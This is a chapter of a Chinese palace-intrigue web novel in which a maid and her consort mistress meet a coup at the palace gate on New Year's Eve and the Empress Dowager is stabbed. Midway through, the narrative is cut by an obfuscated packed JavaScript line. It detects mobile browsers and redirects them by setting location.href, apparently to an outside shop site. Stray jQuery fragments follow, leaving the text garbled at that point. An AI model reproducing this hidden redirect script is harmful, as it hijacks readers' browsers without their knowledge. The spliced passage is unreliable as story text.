146. 太后之死

作品:《如何成为一品女官

    永宁宫又悄悄动起来了,不过是极其缓慢的,因为第二天便是年三十。


    谢秋霜一直认为内忧比外患来得更可怕,所以一经思量之后,怀瑜殿除了嬷嬷和锦秋、七红以外的人手全部换成了很早就在永宁宫的人。


    越是离主殿近,对凌清禾的忠心程度越高,也就越听谢秋霜的话。


    被换走的人也不是毫无怨言,但也由不得她们恋恋不舍,幸好都是些新人,就算是积累经验了。


    剩下的时间,谢秋霜全部的时间都在准备即将到来的新年宫宴。


    衣服是香菱早早就挑好了的,只有袖口的绒毛还有搭在肩上的披帛是红色的,不会显得俗气。为了沾新年的喜气,连带着头顶上的步摇都选的是有福气喻意名字的,唤作满堂春。


    除夕当天,甚至连轿子都抹上了红色的漆,帘子前头挂两个红灯笼,暖黄的灯光衬得暗红色的宫墙也褪去沉闷、露出了几分温柔来。


    凌清禾经由谢秋霜和采荷一左一右地扶上了轿子,四个大宫女守住轿子的四个角,后头坠着的是随侍宫女,再往后是两个小轿子,上头分别载着好奇的姬怀景和姬元昭兄妹俩。


    其他宫人则掌灯之类的,凑成一条长长的队伍,将主子们众星捧月的围在中间。


    谢秋霜回头望了一眼,恍然发觉如今宜昭容出行的队伍已经远胜当初那个嚣张的瑾修仪了。


    至于她自己,凶名可能差了点,但若论在后宫各宫人包括六尚局之类的地方,名气和好感度一定是高过那位爱踹人的青棠的。


    她也是无意才知道,后宫给她起了个外号叫“拼命三娘”,其实这个外号也没什么问题,毕竟谢秋霜她以前的确是叫谢三娘,拼命不至于,但忙也是真的忙。


    冰冷的风刮到脸上,似乎还夹带了一些白花花的雪花,冷得谢秋霜从胡思乱想中回过神来,朝不远处金公公微微颔首,整条队伍开始缓慢地动了起来。


    姬怀景和姬元昭到底是孩子,一开始觉得很新奇,脑袋总是不顾贴身宫女的阻拦伸到帘子外头到处乱看,没多时就因为冷而缩了回去,再多过一会儿就因为轿辇摇晃地十分均匀而在宫女的怀中沉沉睡去了。


    并非宫人们刻意走得慢,前头有几对人马挤到了一起,她们只得慢一些,希望能够不掺和进她们的斗争里去。


    可惜要让谢秋霜失望了。


    等靠近了乾清宫,宫门处依旧有两方人马正在对峙。


    远远看去,一方是瑾昭媛的车架,谢秋霜眯着眼睛还能瞧见青棠双手叉腰正在大声说着什么。而另一方,她紧锁眉头仔细比对,居然一时间没能认得出来。


    “是杨修仪。”凌清禾看到她的动作,神色不明地淡淡道。


    陌生的名号让谢秋霜一时没反应过来,瑾昭媛这是要在降位了的贵妃身上找回场子么?


    另一头的采荷皱眉道:“依照规制,杨修仪应当不能参加宫宴才是,眼下为何还能乘坐轿子?”


    “是有点古怪。”凌清禾也点点头,“先过去看看吧,等在这里也不是办法,后头还跟着不少队伍呢。”


    此时未执一言的谢秋霜觉忽然觉得有些冷,不是风雪打在脸上的冷,而是从后背升起的、直蹿脑门的寒意。


    眼前两方正是当初对峙得如日中天的两方,此时她们过去,不正是对上了后来的三足鼎立?


    谢秋霜隐隐觉得这里更像是为她们过来而设的局。


    “娘娘,情况不对。”她微微沉下声音,“奴婢建议将乐山乐水她们留在宫外,以备不时之需。”


    凌清禾却是问道:“徐嬷嬷留在永宁宫了?”


    “是,茯苓和水蓝也留在永宁宫了。”谢秋霜答道。


    “嗯,按你说的办吧。”凌清禾不知在想些什么,颔首应下。


    一长串队伍里悄然无声地少了两个人是很难察觉的,等到了宫门口,更是无人在意这些宫人的面孔是否熟悉。


    “哟,宜昭容来了。”瑾昭媛并未挪动自己的车架,和杨修仪牢牢的挡在了宫门口,“修仪妹妹,怎么还不行礼?”


    杨修仪并未露脸,帘子后响起冰冷的声音:“宜昭容。”


    她明显还有话要说,但谢秋霜完全不想和她们在宫门口僵持,便道:“娘娘,曼充仪与容充媛的车架都在您后面跟着呢,这会儿可要和她们一同下轿?”


    “放肆!”青棠大喝,“娘娘们说话的时候,岂容你个奴婢在此说话?”


    “放肆。”同样的两个字,到凌清禾的嘴里则没有那种嚣张的感觉,取而代之的是一种压迫感,“本宫的人岂容你个奴婢教训?莫非瑾昭媛妹妹就是这样教导下人的吗?”


    这是凌清禾第一次在众目睽睽之下以这样的姿态说话,往日里所有人对她的印象都是温和柔顺居多,哪里见到过她冷脸的模样。


    青棠气得发抖,但又不好意思开口,只能回头看向自家主子。


    瑾昭媛反而是笑了:“还以为你能装多久呢,为了个奴婢还不是露出了本性。你就不想听一听贵妃想与你说些什么吗?”


    “此间贵妃是谁?”凌清禾不为所动,她现在是真的有些烦,刚刚明双过来说后头轿辇上的两位小主子都醒了,如此污言秽语她不想让儿子和女儿听了去。


    谢秋霜则是心念一转,看来被杨氏抛弃的贵妃已经和王氏联手了,三足鼎立下的两方联手要对付的是谁,已经不言而喻。


    贵妃被降为修仪之后,代为行使六宫之权的职责全权落在了贤妃的手上,看来杨梦晗此番能够顺利来到这里,就是因为贤妃的缘故。


    可是这都在乾清宫门前待了这么久了,里头的皇帝居然没有一丝反应,就连王公公和周公公的影子都没看见,这就有些耐人寻味了。


    “将四殿下与公主殿下暂时送到队伍后面,请求曼充仪娘娘与容充媛娘娘代为照顾一二。”她即刻吩咐道,“你也跟过去守着。”


    “这……”香菱再不明白也不会不知道此时情况有变,她咬了咬牙,看了自家娘娘一眼,又看了秋霜姐一眼,这才扭头走了。


    凌清禾其实听到了谢秋霜的吩咐,她想得要跟远一些,如今鲁王在淮南谋逆,京城派精兵去了淮南,其他兵马更是远在天边,其实皇宫除了三千禁军,已然不是铁板一块。更别提前朝杨氏一脉的官员下马无数,想要在此时渗透更是良好时机。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884870|179715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    莫非盛昌侯此时要向陛下动手?


    她的眉心纹路刻出深深一个“川”字,好半晌没有回瑾昭媛她们的话。


    “宜昭容这么久不说话,是有什么疑虑吗?”杨修仪忽然笑了笑。


    凌清禾回过神来,垂头看了看自己的手掌,淡淡道:“只是觉得有些冷,宫宴的时辰也要到了,为何不进去说话?”


    “宫宴?”瑾昭媛哈哈大笑,“你我三人,不就是最好的宫宴吗?”


    “贤妃姐姐呢?”凌清禾往手腕上套了一个用木头制作的环状物品,依据赵宝林的说法,这叫袖珍版袖剑,威力不高,只能伤人。


    瑾昭媛歪头:“就在乾清宫里呀。”


    “我记得明远侯府时常围绕在圣驾身边,说些妖人言语惑乱人心。想必鲁王殿下所说的清君侧便是要清走你们这些不三不四之辈。”杨修仪忽然笑道。


    温柔酥麻的声音所诉说的内容却是颠倒黑白,恍若夺人性命的蛇一般。


    谢秋霜猛地掐住自己的手臂,迅速乌青的痕迹让她冷静下来,贵妃此话说明她们这下是真的要来夺她们命的。


    她迅速对梧桐道:“赶紧去后面让其他娘娘离开,让四殿下和公主的人马一会儿趁乱清减行装,偷偷去太医院找商陆和林神医藏起来。”


    梧桐脸色大变,头也不回地跑走了。


    “宜昭容身边的人怎么越来越少了?”瑾昭媛自然不会注意不到这边的动静,“这是想跑?可惜,不管跑到哪里去也没有用处,本宫会派人将她们一个一个找出来的。”


    凌清禾抬眼,此时谢秋霜和采荷牢牢的守住四周,太监们也将轿子放到了地上。


    “二位这是要谋逆吗?”她的声音冰冷,没有一丝情绪。


    杨修仪重复道:“刚刚我说过,只是清君侧而已,你也是妖人。”


    “可有陛下旨意?”凌清禾依旧不紧不慢,为后方儿女的逃离拖延时间。


    “本宫的懿旨算不算?”


    一道熟悉地声音从门后响起,乾清宫的宫门轰然打开,出现的竟然是已然被罚去守陵的太后。


    此时她锦衣在身,头顶上的凤冠是太后仪制最高的一顶,繁复的金色层层叠起,在漫天风雪的背景下与四周朱红色的宫门相互映衬,仿佛她不是太后,而是这天下的王。


    如果忽略掉她明黄色裙摆上被染成血红的部分,这忽略不了。


    乾清宫宫变,门打开后已然从猜想转换为了现实。


    在太后身边站着的太监,亦浑身染血,缓缓抬起头来,竟然是——周公公!


    谢秋霜下意识看向金公公,后者瞪大了眼睛,全身开始颤抖,似乎不愿意相信自己一直以来联系皇上的途径竟然是太后设下的陷阱!


    不对,如若周公公真是太后的人,又怎么会得到消息之后去查那些薪碳的去处,将贵妃降位、前朝贬职?


    谢秋霜的思绪一片混乱,说不出话来,拉着凌清禾的手更紧了几分。


    太后才不管别人怎么想,双手抬起,刚想朗声大笑,却忽然觉得胸口一痛,低头一看,一把利刃穿胸而过,只露出了个尖,滴落在地的,尽是她自己的鲜血。